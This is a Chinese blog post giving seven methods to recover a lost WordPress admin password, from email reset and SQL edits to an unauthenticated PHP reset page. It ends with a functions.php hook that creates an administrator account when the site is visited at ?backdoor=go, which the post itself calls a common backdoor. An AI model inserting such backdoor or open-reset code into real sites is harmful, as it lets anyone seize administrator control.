芜湖尾敢投资有限公司

七種方式解決WordPress忘記后臺(tái)密碼——墨澀網(wǎng)

wordpress忘記密碼.jpg

自己搭建網(wǎng)站的朋友應(yīng)該遇到過(guò)一個(gè)問(wèn)題,網(wǎng)站多了,或者長(zhǎng)時(shí)間不用了,就容易忘記WordPress后臺(tái)密碼,這個(gè)時(shí)候你不要驚慌,分享7種WordPress忘記后臺(tái)密碼后的解決辦法,總有一款適合你的。

不推薦使用的方法

如果下面的操作無(wú)限,或則操作起來(lái)有難度,可以使用這兩個(gè)方法
方案1重裝WordPress。我們不推薦這種方法,重裝還要下載安裝文件比較麻煩。
方案2:把WP目錄下的wp-config.php文件刪除,然后重新訪問(wèn)網(wǎng)站,這會(huì)讓你重新進(jìn)行最后一個(gè)安裝步驟,這樣就可以得到新的密碼。

方案三

使用找回密碼功能。WordPress 本身支持郵件取回密碼功能,如果管理員賬戶的電子郵件有效,在后臺(tái)登錄界面,點(diǎn)擊“忘記密碼”鏈接,輸入正確郵件地址后,即可收到一封含重置密碼的郵件。

方案四

登錄數(shù)據(jù)庫(kù)后臺(tái) phpMyAdmin ,找到WP數(shù)據(jù)庫(kù)的wp_users表,在這里可以看到默認(rèn)的用戶admin(如果你的管理員用戶名是其他,找對(duì)應(yīng)的即可),它的密碼是加密過(guò)的。這時(shí),我們可以修改這條數(shù)據(jù),找到user_pass這個(gè)域,把它原來(lái)的一長(zhǎng)串?dāng)?shù)據(jù)刪掉,寫上你的密碼,比如123456。這時(shí),你會(huì)看到一個(gè)函數(shù)的下拉框,把它選擇為MD5。這是為了把你的密碼進(jìn)行MD5算法加密,再保存。這樣,再通過(guò)你的域名/wp-admin 訪問(wèn)到管理入口,用這個(gè)密碼就可以登陸了。

方案五

通過(guò) SQL 語(yǔ)句修改密碼。登錄 phpMyAdmin 進(jìn)入 WordPress 數(shù)據(jù)庫(kù)并執(zhí)行以下 SQL 語(yǔ)句:

UPDATE wp_users SET user_pass = MD5( 'password' ) WHERE wp_users.user_login = 'admin' LIMIT 1

執(zhí)行后密碼就被重置為password了,也就是上面語(yǔ)句中MD5括號(hào)單引號(hào)里面的字符串,同樣的,上述語(yǔ)句中后面的admin為你的后臺(tái)管理賬號(hào)。

方案六

使用 PHP 找回密碼。PHP 方法歸根結(jié)底也是 SQL 查詢語(yǔ)句修改的方式,只不過(guò)提供一個(gè)用戶界面。將以下代碼復(fù)制并保存為 password-resetter.php 文件,上傳至 WordPress 根目錄,然后運(yùn)行該文件,輸入密碼即可重置。

<?php
 include("wp-config.php");
 include("wp-blog-header.php");
 if (empty($_POST['emergency_pass'])) {
?>
<form method="post">
  設(shè)置新密碼: 
  <input name="emergency_pass" type="password" />
  <input type="submit" />
</form>
<?php
  } else {
    $sql = "UPDATE ".$wpdb->users." SET user_pass = '".md5($_POST['emergency_pass'])."' WHERE User_login = 'admin'";
    $link = $wpdb->query($sql);
    wp_redirect('wp-login.php');
    exit();
  }
?>

暴力方式解決

常言道:刀劍不分善惡、關(guān)鍵在于使用他的人。如下面這串代碼:

//找回管理員密碼
add_action('wp_head', 'holeinthewall');
function holeinthewall() {
  If ($_GET['backdoor'] == 'go') {
    require('wp-includes/registration.php');
    If (!username_exists('username')) {
      $user_id = wp_create_user('username', 'password');
      $user = new WP_User($user_id);
      $user->set_role('administrator');
    }
  }
}

雖說(shuō)是很多人用來(lái)放置后門的程序,但是運(yùn)用得當(dāng),也可以作為我們找回密碼的工具。
將上述代碼加到當(dāng)前主題的functions.php文件中,然后訪問(wèn)域名/?backdoor=go,即可創(chuàng)建一個(gè)最高權(quán)限的管理員賬號(hào),登錄后臺(tái)后我們就可以刪除忘記密碼的那個(gè)賬號(hào)或者給忘記密碼的那個(gè)賬戶重置密碼了。

THE END